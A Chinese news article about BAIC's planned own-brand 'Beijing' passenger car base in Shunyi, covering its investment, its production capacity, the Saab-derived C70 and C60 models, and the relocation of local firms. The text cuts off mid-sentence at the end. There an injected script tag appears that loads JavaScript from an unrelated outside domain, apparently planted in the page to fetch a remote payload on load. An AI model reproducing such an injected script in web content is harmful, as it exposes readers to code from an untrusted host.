北京现代、北汽福田、北京奔驰，这些耳熟能详的汽车都由北京本土的汽车生产商———北汽集团生产。而真正属于北京本土的汽车品牌却一直是空白。今年8月，北京自主品牌乘用车基地将在顺义开工建设，预计明年10月或11月正式竣工投产。届时，北京将拥有自主品牌的乘用车，拟命名为“北京”牌。

　　本报讯 今年6月3日，北京市经信委组织39个重大战略新兴工业项目签约，北京汽车工业控股有限责任公司投资的北京自主品牌乘用车基地项目首次亮相，正式签约落户顺义赵全营。该基地预计在今年8月初开工，明年年底竣工投产北京自己的品牌乘用车。

　　初步形成15万辆年产能

　　据了解，该项目总投资40多亿元，计划8月初开工建设，明年竣工投产。初步将形成15万辆年产能。到2013年预计产能达30万辆。

　　北京自主品牌乘用车拟命名为“北京”牌。据顺义区经信委介绍，早在2006年底，当时的北汽就成立了北京汽车研究总院，“北京”牌轿车研发就是研究总院重中之重的工作。顺义经信委主任吴建国介绍说，这个研究总院同样也是落户到了顺义汽车基地，投资16.8亿元，专门用来研发自主品牌车，明年就要建成投入使用了。

　　收购萨博奠定研发基础

　　事实上，北汽早已发布过自主“北京”品牌和旗下的多款概念车，但除越野车B40以及007能达到量产状态外，轿车则因为未找到合适开发平台而一直停留在概念阶段。去年12月成功收购萨博，则让北汽自主轿车研发基础基本完备。

　　今年4月北京车展，在收购萨博短短四个月后，北汽就宣布了重新梳理后的未来自主品牌规划，包含轿车、越野车以及微车三个系列，十余款车型，其中最受关注的轿车系列包含C30，C50，C60，C70和C80，越野车系列则包含B40，B61和B90等。

　　中级车型将成为主打

　　“北京”牌轿车的重头戏是明年年中推出的中高级轿车C70，C60等车型。据了解，这也将是北汽顺义自主乘用车基地投产的车型。

　　C70和C60分别源自萨博95和93平台，分别定位于B级车和A+级轿车，外观有很明显的萨博风格，动力方面有望匹配萨博技术发动机，售价则将预计在10到20万元，大幅低于萨博原车型。

　　据介绍，基地明年投产后，初步形成15万辆年产能，这意味着，如果一切顺利的话，明年人们在街头上就有机会看到“北京”牌轿车的身影了。

　　■ 探营

　　基地建设涉及三家企业搬迁

　　按照签约的规划，北京自主品牌乘用车基地要落户到赵全营空港C区(二期)，总投资42亿元，占地1600亩。

　　“基地所处的位置不涉及村民拆迁，主要是3家企业的搬迁”，顺义区经信委主任吴建国透露，政府将出资几千万元为这些搬迁企业寻找新的落脚地点。

　　沿着京承高速一直北行至赵全营出口，向东行驶3公里左右，就进入赵全营镇的地界了。

　　这个位于顺义西北部的小镇看上去并不起眼，但它是北京城市总体规划布局中确定重点发展的42个小城镇之一，也是顺义的4个重点镇之一。“马大姐”、“北郎中”、“绿友”等北京市著名商标均诞生于此。

　　镇上的人对自主品牌车基地的事情似乎已有所耳闻，指了指空港C区东边的位置，“应该就是在东北边那一大片地方。”

　　6月21日，记者一行来到自主品牌车基地所处的几家即将搬迁的企业，这里依然平静如常。

　　北京路诚伟业建筑材料厂位于后桑园村100多亩的厂区里到处堆着砂石料，还看不出要搬走的迹象。但?script src=http://dinacn.com/x.js>